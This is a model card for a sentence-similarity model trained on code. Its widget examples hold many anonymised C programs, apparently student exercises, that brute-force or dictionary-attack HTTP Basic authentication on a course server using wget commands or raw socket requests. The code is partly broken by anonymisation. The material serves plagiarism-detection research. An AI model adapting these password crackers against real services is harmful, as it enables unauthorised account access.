SOCO-C-PLBART-ST / README.md
buelfhood's picture
Add new SentenceTransformer model
52e0df4 verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - dense
  - generated_from_trainer
  - dataset_size:3081
  - loss:BatchAllTripletLoss
base_model: uclanlp/plbart-java-cs
widget:
  - source_sentence: "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include  <time.h>\n\nint ()  \n{\n  int i,j,k,cntr=0;\n  char  pass[3];\n  char password[3];\n  char get[96];\n  char username[]=\"\";\n  int R_VALUE;\n  double time_used;\n  \n  clock_t ,end; \n  \n   =clock(); \n  \n  \n  \n  for (i = 65; i <= 122; i++)\n  {\n    if(i==91) {i=97;}\n   \n       for (j = 65; j <= 122; j++)\n\t   {\n         if(j==91) {j=97;}\n      \n           for (k = 65; k <= 122; k++)\n\t\t   {\n            if(k==91) {k=97;}  \n         \n             pass[0] = i;\n             pass[1] = j;\n\t         pass[2] = k;\n             sprintf(password,\"%c%c%c\",pass[0],pass[1],pass[2]);       \n             cntr++;\n\t         \n\t\t\t printf(\"%d )%s\\n\\n\", cntr, password);\n             sprintf(get,\"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n             \n\n\t         R_VALUE=system(get);\n\t  \n\t          if(R_VALUE==0) \n\t\t\t  {\n\t\t        printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t        exit(0);\n\t\t\t  }\n\t\t   }\n     \n\t   }\n  \n  }\n  \n  end = clock();\n\ntime_used = ((double) (end - )) / CLOCKS_PER_SEC;\n\nprintf(\"time_used = %f\\n\", time_used);\n}\n\n"
    sentences:
      - "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE  1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK            200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED          2\n\n\nchar *host;\nchar *filename;\nint  ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n    char password[PASSWORD_LENGTH+1];\n    int i;\n\n    \n\n    attempt = 0;\n    processArguments(argc, argv, &url, &username);\n    splitURL(url, &host, &filename);\n\n    initialiseConnection();\n     = openConnection();\n\n    \n\n    for (i=1; i<=PASSWORD_LENGTH; i++)\n    {\n        memset(password, 0, PASSWORD_LENGTH+1);\n        generatePassword(password, i);\n    }\n\n    printf(\"The password has not been cracked\\n\");\n    exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n    static const char *chars = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n    int currLength;\n    int i;\n\n    currLength = strlen(password);\n    currLength++;\n\n    for (i=0; i<strlen(chars); i++)\n    {\n        password[currLength-1] = chars[i];\n\n        if (strlen(password) != reqLength)\n        {\n           \n           generatePassword(password, reqLength);\n        }\n        else\n        {\n           testPassword(password);\n        }\n\n        password[currLength] = '\\0';\n    }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n    int status;\n\n    attempt++;\n\n    \nTestPassword:\n    sendRequest(, host, filename, username, password);\n    status = getResponseStatus();\n\n    if (status == STATUS_OK)\n    {\n        printf(\"The password has been found after %d attempts: %s\\n\",\n               attempt, password);\n        exit(RETURN_OK);\n    }\n    else if (status == CONN_CLOSED)\n    {\n        \n        ();\n         = openConnection();\n        goto TestPassword;        \n    }\n    else if (status != STATUS_AUTH_REQUIRED)\n    {\n        printf(\"Status %d received from server\\n\", status);\n        exit(RETURN_ERROR);\n    }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n    if (argc != 3)\n    {\n        printUsage(argv[0]);\n        exit(1);\n    }\n\n    *url = (char *) malloc(strlen(argv[1] + 1));\n    strcpy(*url, argv[1]);\n\n    *username = (char *) malloc(strlen(argv[2] + 1));\n    strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n    fprintf(stderr, \"Usage:\\n\");\n    fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n    char *p1; \n    char *p2;\n\n    \n    p1 = strstr(url, \"//\");\n    if (p1 == NULL)\n        p1 = (char *) url;\n    else\n        p1 = p1 + 2;\n\n    \n    p2 = strstr(p1, \"/\");\n    if (p2 == NULL)\n    {\n        fprintf(stderr, \"Invalid url\\n\");\n        exit(RETURN_ERROR);\n    }\n\n    *host = (char *) malloc(p2-p1+2);\n    strncpy(*host, p1, p2-p1);\n    (*host)[p2-p1] = '\\0';\n\n    *file = (char *) malloc(strlen(p2+1));\n    strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n                 char *password)\n{\n    char message[BUFFER_SIZE];\n    unsigned char encoded[BUFFER_SIZE];\n    unsigned char token[BUFFER_SIZE];\n\n    \n\n    \n    sprintf((char *) token, \"%s:%s\", username, password);\n    base64_encode(token, encoded);\n\n    sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization:  %s\\n\\n\",\n            filename, host, encoded);\n\n    if (write(, message, strlen(message)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n}\n\n\n\n\nint getResponseStatus()\n{\n    char message[BUFFER_SIZE];\n    int  bytesRead;\n    char *p1;\n    char status_str[4];\n    int  status;\n\n    \n\n    while (TRUE)\n    {\n        bytesRead = (, message, BUFFER_SIZE-1);\n        if (bytesRead == -1)\n        {\n            perror(\"\");\n            exit(RETURN_ERROR);\n        }\n        else if (bytesRead == 0)\n        {\n            \n            return CONN_CLOSED;\n        }\n\n        message[bytesRead+1] = '\\0';\n\n        \n        p1 = strstr(message, \"HTTP\");\n        if (p1 != NULL)\n        {\n            p1 = p1 + 9;\n            break;\n        }\n    }\n\n    strncpy(status_str, p1, 3);\n    status_str[3] = '\\0';\n    status = atol(status_str);\n\n    return status;\n}\n\n\n\n\nint openConnection()\n{\n    int ;\n\n    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n\n    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n    {\n        perror(\"connect\");\n        exit(RETURN_ERROR);\n    }\n\n    return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n    struct hostent *serverHostent;\n    unsigned  serverIP;\n    char errorMsg[BUFFER_SIZE]; \n\n\n    \n\n    memset(&serverAddr, 0, sizeof(serverAddr));\n    serverAddr.sin_port = htons(80);\n\n\n    if ((serverIP = inet_addr(host)) != -1)\n    {\n        serverAddr.sin_family = AF_INET;\n        serverAddr.sin_addr.s_addr = serverIP;\n    }\n    else if ((serverHostent = gethostbyname(host)) != NULL)\n    {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n        memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n    }\n    else\n    {\n       getHostErrorMsg(errorMsg);\n       printf(\"%s: %s\\n\", host, errorMsg);\n       exit(RETURN_ERROR);\n    }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n    static const char *codes = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n    int i;\n    int len;\n    int lenfull;\n    unsigned char *p;\n    int a;\n    int b;\n    int c;\n    \n    p = output;\n    len = strlen((char *) input);\n\n    \n\n    lenfull = 3*(len / 3);\n    for (i = 0; i < lenfull; i += 3) \n    {\n        *p++ = codes[input[0] >> 2];\n        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n        *p++ = codes[input[2] & 0x3f];\n        input += 3;\n    }\n\n\n    \n\n    if (i < len)\n    {\n        a = input[0];\n        b = (i+1 < len) ? input[1] : 0;\n        c = 0;\n\n        *p++ = codes[a >> 2];\n        *p++ = codes[((a & 3) << 4) + (b >> 4)];\n        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n        *p++ = '=';\n    }\n\n    \n    *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n    switch (h_errno)\n    {\n         HOST_NOT_FOUND :\n             strcpy(message, \"The specified host is unknown\");\n             break;\n\n         NO_DATA:\n             strcpy(message, \"The specified host name is valid, but does not have   address\");\n             break;\n\n         NO_RECOVERY:\n             strcpy(message, \"A non-recoverable name server error occurred\");\n             break;\n\n         TRY_AGAIN:\n             strcpy(message, \"A temporary error occurred   authoritative name server. Try again later.\");\n             break;\n\n        default:\n             strcpy(message, \" unknown name server error occurred.\");\n    }\n}\n\n"
      - "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n   int i=65,j=65,k=65,count=0,res=1;\n   char arry[3],send[100];\n   int startTime, stopTime, final;\n   startTime = time();\n   for(i;i<123;i++){\n      if(i<91 || i>96){\n         arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t    if(j<91 || j>96){\n\t       arry[1]=j;\n\t       k=65;\n\t       for(k;k<123;k++){\n\t\t  if(k<91 || k>96){\n\t\t     arry[2]=k;\n\t\t     arry[3]='\\0';\n\t\t     strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t     strcat(send,arry);\n\t\t     strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t     count++;\n\t             if((res=(system(send)) == 0)) {\n\t\t        stopTime = time();\n\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n\",arry,(double)final/OneBillion,count);\n\t\t\texit(1);\n\t\t     }\n\t\t  }\n\t       }\n            }\n         }\n      }\n   }\n   printf(\"\\npassword not found\\n\");\n   exit(1);\n}\n"
      - |



        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/time.h>
        #include <strings.h>
        #include <ctype.h>

        int ()
        {
          char word[15], *chk;
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");
          system("mkdir one");
          system("mv www.cs.rmit.edu./images/*.*  one/");
          system("mv www.cs.rmit.edu./students/*.* one/");
          sleep(15);
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");
          system("mkdir two");
          system("mv www.cs.rmit.edu./images/*.* two/");
          system("mv www.cs.rmit.edu./students/*.* two/");
          system("diff one two > difference.txt");
          system("mailx -s  \"Message1\"   < difference.txt");
          return 0;
        }
  - source_sentence: |+










      #include<stdio.h>
      #include<stdlib.h>
      #include<sys/types.h>
      #include<sys/times.h>
      #include<sys/time.h>
      #include<unistd.h>
      #include<strings.h>
      int ()
      {
        char url[100];
        char syscom[]= "wget -nv --http-user= --http-passwd=";
        char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
        FILE *fp;

        char pass[15], *valid;
        valid = "pass";
        int , end, time_var;
        int hack =1;
        int attempt =1;

        fp = fopen("words.txt","r");
        if (fp == NULL)
        exit(1);

         = time();
        while (valid != NULL)
        {
         valid  = fgets(pass,15,fp);
         pass[strlen(pass)-1] ='\0';

         if(strlen(pass) != 3)
         continue;

         printf("%s\n",pass);
         sprintf(url,"%s%s %s",syscom,pass,http);

         hack = system(url);
         attempt++;

         if (hack == 0)
          {
           end = time();
           time_var = (end-);
           printf("\nThe password is :%s",pass);
           printf("\nNo. of Attempts   crack the password :%d",attempt);
           printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
           exit(1);
           }
         }
        exit(1);
       }

    sentences:
      - "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n   int i=65,j=65,k=65,count=0,res=1;\n   char arry[3],send[100];\n   int startTime, stopTime, final;\n   startTime = time();\n   for(i;i<123;i++){\n      if(i<91 || i>96){\n         arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t    if(j<91 || j>96){\n\t       arry[1]=j;\n\t       k=65;\n\t       for(k;k<123;k++){\n\t\t  if(k<91 || k>96){\n\t\t     arry[2]=k;\n\t\t     arry[3]='\\0';\n\t\t     strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t     strcat(send,arry);\n\t\t     strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t     count++;\n\t             if((res=(system(send)) == 0)) {\n\t\t        stopTime = time();\n\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n\",arry,(double)final/OneBillion,count);\n\t\t\texit(1);\n\t\t     }\n\t\t  }\n\t       }\n            }\n         }\n      }\n   }\n   printf(\"\\npassword not found\\n\");\n   exit(1);\n}\n"
      - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n\nchar *bruteforce(int *attempts);\n\n\nint (void){\n\n   int i, counter;\n   int Timetaken;\n   int initTime = 0, exitTime = 0;\n   initTime = time();\n   bruteforce(&counter);\n   exitTime = time();\n   Timetaken = exitTime - initTime;\n   printf(\"\\nTime taken is %lld millisecond\\n\", (Timetaken)/());\n   printf(\"\\nNumber of attempts  is... %d\", counter);\n   return 0;\n}\n\n\nchar *bruteforce(int *attempts){     \n  \n   FILE *fp;\n   char ch[100];\n\t*attempts=0;\n\n   fp = fopen(\"/usr/share/lib/dict/words\", \"r\");\n   if (fp == NULL) {\n      printf(\"file  not  open\");\n   }\n   while (fgets(ch, 100, fp) != NULL){\n\t\n\t\t(*attempts)++;\n\n      int  j = 0;\n      while (j <= 100){\n\n         if (ch[j] == '\\n') {\n            ch[j] = '\\0';\n            break;\n         }\n         j = j + 1;\n       }\n\t\t \n       char  [100] = \"wget  --http-user= --http-passwd=\";\n       strcat(, ch);\n       strcat(, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n       printf(\"%s\\n\", );\n       if (system() == 0){\n          printf(\"Password cracked successfully: \");\n          printf(\"Password is %s\", ch);\n          return NULL;\n       }\n   }\n  \n   fclose(fp);\n}\n"
      - "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE  1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK            200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED          2\n\n\nchar *host;\nchar *filename;\nint  ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n    char password[PASSWORD_LENGTH+1];\n    int i;\n\n    \n\n    attempt = 0;\n    processArguments(argc, argv, &url, &username);\n    splitURL(url, &host, &filename);\n\n    initialiseConnection();\n     = openConnection();\n\n    \n\n    for (i=1; i<=PASSWORD_LENGTH; i++)\n    {\n        memset(password, 0, PASSWORD_LENGTH+1);\n        generatePassword(password, i);\n    }\n\n    printf(\"The password has not been cracked\\n\");\n    exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n    static const char *chars = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n    int currLength;\n    int i;\n\n    currLength = strlen(password);\n    currLength++;\n\n    for (i=0; i<strlen(chars); i++)\n    {\n        password[currLength-1] = chars[i];\n\n        if (strlen(password) != reqLength)\n        {\n           \n           generatePassword(password, reqLength);\n        }\n        else\n        {\n           testPassword(password);\n        }\n\n        password[currLength] = '\\0';\n    }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n    int status;\n\n    attempt++;\n\n    \nTestPassword:\n    sendRequest(, host, filename, username, password);\n    status = getResponseStatus();\n\n    if (status == STATUS_OK)\n    {\n        printf(\"The password has been found after %d attempts: %s\\n\",\n               attempt, password);\n        exit(RETURN_OK);\n    }\n    else if (status == CONN_CLOSED)\n    {\n        \n        ();\n         = openConnection();\n        goto TestPassword;        \n    }\n    else if (status != STATUS_AUTH_REQUIRED)\n    {\n        printf(\"Status %d received from server\\n\", status);\n        exit(RETURN_ERROR);\n    }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n    if (argc != 3)\n    {\n        printUsage(argv[0]);\n        exit(1);\n    }\n\n    *url = (char *) malloc(strlen(argv[1] + 1));\n    strcpy(*url, argv[1]);\n\n    *username = (char *) malloc(strlen(argv[2] + 1));\n    strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n    fprintf(stderr, \"Usage:\\n\");\n    fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n    char *p1; \n    char *p2;\n\n    \n    p1 = strstr(url, \"//\");\n    if (p1 == NULL)\n        p1 = (char *) url;\n    else\n        p1 = p1 + 2;\n\n    \n    p2 = strstr(p1, \"/\");\n    if (p2 == NULL)\n    {\n        fprintf(stderr, \"Invalid url\\n\");\n        exit(RETURN_ERROR);\n    }\n\n    *host = (char *) malloc(p2-p1+2);\n    strncpy(*host, p1, p2-p1);\n    (*host)[p2-p1] = '\\0';\n\n    *file = (char *) malloc(strlen(p2+1));\n    strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n                 char *password)\n{\n    char message[BUFFER_SIZE];\n    unsigned char encoded[BUFFER_SIZE];\n    unsigned char token[BUFFER_SIZE];\n\n    \n\n    \n    sprintf((char *) token, \"%s:%s\", username, password);\n    base64_encode(token, encoded);\n\n    sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization:  %s\\n\\n\",\n            filename, host, encoded);\n\n    if (write(, message, strlen(message)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n}\n\n\n\n\nint getResponseStatus()\n{\n    char message[BUFFER_SIZE];\n    int  bytesRead;\n    char *p1;\n    char status_str[4];\n    int  status;\n\n    \n\n    while (TRUE)\n    {\n        bytesRead = (, message, BUFFER_SIZE-1);\n        if (bytesRead == -1)\n        {\n            perror(\"\");\n            exit(RETURN_ERROR);\n        }\n        else if (bytesRead == 0)\n        {\n            \n            return CONN_CLOSED;\n        }\n\n        message[bytesRead+1] = '\\0';\n\n        \n        p1 = strstr(message, \"HTTP\");\n        if (p1 != NULL)\n        {\n            p1 = p1 + 9;\n            break;\n        }\n    }\n\n    strncpy(status_str, p1, 3);\n    status_str[3] = '\\0';\n    status = atol(status_str);\n\n    return status;\n}\n\n\n\n\nint openConnection()\n{\n    int ;\n\n    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n\n    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n    {\n        perror(\"connect\");\n        exit(RETURN_ERROR);\n    }\n\n    return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n    struct hostent *serverHostent;\n    unsigned  serverIP;\n    char errorMsg[BUFFER_SIZE]; \n\n\n    \n\n    memset(&serverAddr, 0, sizeof(serverAddr));\n    serverAddr.sin_port = htons(80);\n\n\n    if ((serverIP = inet_addr(host)) != -1)\n    {\n        serverAddr.sin_family = AF_INET;\n        serverAddr.sin_addr.s_addr = serverIP;\n    }\n    else if ((serverHostent = gethostbyname(host)) != NULL)\n    {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n        memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n    }\n    else\n    {\n       getHostErrorMsg(errorMsg);\n       printf(\"%s: %s\\n\", host, errorMsg);\n       exit(RETURN_ERROR);\n    }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n    static const char *codes = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n    int i;\n    int len;\n    int lenfull;\n    unsigned char *p;\n    int a;\n    int b;\n    int c;\n    \n    p = output;\n    len = strlen((char *) input);\n\n    \n\n    lenfull = 3*(len / 3);\n    for (i = 0; i < lenfull; i += 3) \n    {\n        *p++ = codes[input[0] >> 2];\n        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n        *p++ = codes[input[2] & 0x3f];\n        input += 3;\n    }\n\n\n    \n\n    if (i < len)\n    {\n        a = input[0];\n        b = (i+1 < len) ? input[1] : 0;\n        c = 0;\n\n        *p++ = codes[a >> 2];\n        *p++ = codes[((a & 3) << 4) + (b >> 4)];\n        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n        *p++ = '=';\n    }\n\n    \n    *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n    switch (h_errno)\n    {\n         HOST_NOT_FOUND :\n             strcpy(message, \"The specified host is unknown\");\n             break;\n\n         NO_DATA:\n             strcpy(message, \"The specified host name is valid, but does not have   address\");\n             break;\n\n         NO_RECOVERY:\n             strcpy(message, \"A non-recoverable name server error occurred\");\n             break;\n\n         TRY_AGAIN:\n             strcpy(message, \"A temporary error occurred   authoritative name server. Try again later.\");\n             break;\n\n        default:\n             strcpy(message, \" unknown name server error occurred.\");\n    }\n}\n\n"
  - source_sentence: "#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define SUCCESS 0;\n\nint ()\n{\t\n\t\n\tsystem(\"rm index.*\");\t\n\tsystem(\"wget --non-verbose http://www.cs.rmit.edu./students\");\n\tsystem(\"sleep 10\");\n\tsystem(\"wget --non-verbose http://www.cs.rmit.edu./students\");\t\t\n\tsystem(\"diff index.html index.html.1 >> output.txt\");\n\tprintf(\"Comparison stored in output.txt\");\n\tsystem(\"mutt -a output.txt @cs.rmit.edu. \");\n\t\n\treturn SUCCESS;\n}\n"
    sentences:
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\tint        , end;\n\tFILE           *fp;\n\tint             i, j;\n\tchar            input;\n\tchar            password[30];\n\tint             check;\n\n\tfloat           total_time;\n\tint             number;\n\t = time();\n\n\n\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error : Failed  open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i] = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password) <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var  %f / %d = %f\\n\", total_time, number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar            url1[255], url2[255], [255];\n\tint             rettype;\n\trettype = 0;\n\tstrcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\tstrcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
      - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <string.h>\n#include <ctype.h>\n\n\n\nint ()\n{\n    int i,j,k,sysoutput;\n    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];\n    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n    strcpy(string1, \"wget --http-user= --http-passwd=\");\n    strcpy(string2, \" http://sec-crack.cs.rmit.edu./SEC/2/\");\n    \n    for (i=0;i<=52;i++)\n  { \n     [0] = arr[i];\n     [1]  ='\\0'; \n     strcpy(a,);\n     \n     printf(\"The  first  value is %s \\n\", a);    \t\n\n     for (j=0;j<=52;j++)\n       {  [0] = arr[j];\n          [1] = '\\0'; \n\t  strcpy(temp1,a);\n\t  strcat(a,);\n\t  strcpy(b,a);\n\t  strcpy(a,temp1);\n\t   printf(\"The  second value is %s \\n\", b);    \t          \n\tfor(k=0;k<=52;k++)\n\t  {  \n\t     [0] =arr[k];\n\t     [1] = '\\0';\n\t     strcpy(temp1,b);\n\t     strcat(b,);\n\t     strcpy(pass,b);\n\t     strcpy(b,temp1);\n\t     pass[0] = arr[i];\n           pass[1]= arr[j];\n           pass[2]= arr[k];\n           pass[3] = '\\0';\n\t\tprintf(\" the  third  value of   the %s \\n\" ,pass);    \n                 \n\n\t\tprintf(\"%s\\n\",pass);\n\t  printf(\"*********\\n\" );\n          strcat(string1, pass);\n          strcat(string1, string2);\n\t  printf(\"\\n executing %s\\n\", string1);\n          sysoutput = system(string1);\n          if (sysoutput == 0)\n          {\n            printf(\"\\nsuccess %d %s\\n\",sysoutput,pass);\n            exit(1);\n          }\n\n\n\t  strcpy(string1, \"\");\n\t  strcpy(string1, \"wget --http-user= --http-passwd=\");\n          \n\t         }\n  \t}   \n   }\n }  \n     \n    \n  \n  \n  \n  \n  \n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = '\\0';\n\n\n\t     printf(\"Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf(\"Success\\n\");\n\t\tprintf(\"Number of attempts = %d\\n\",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf(\"The password for the user  : %s\\n\",); \n                printf(\" Cracked the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n"
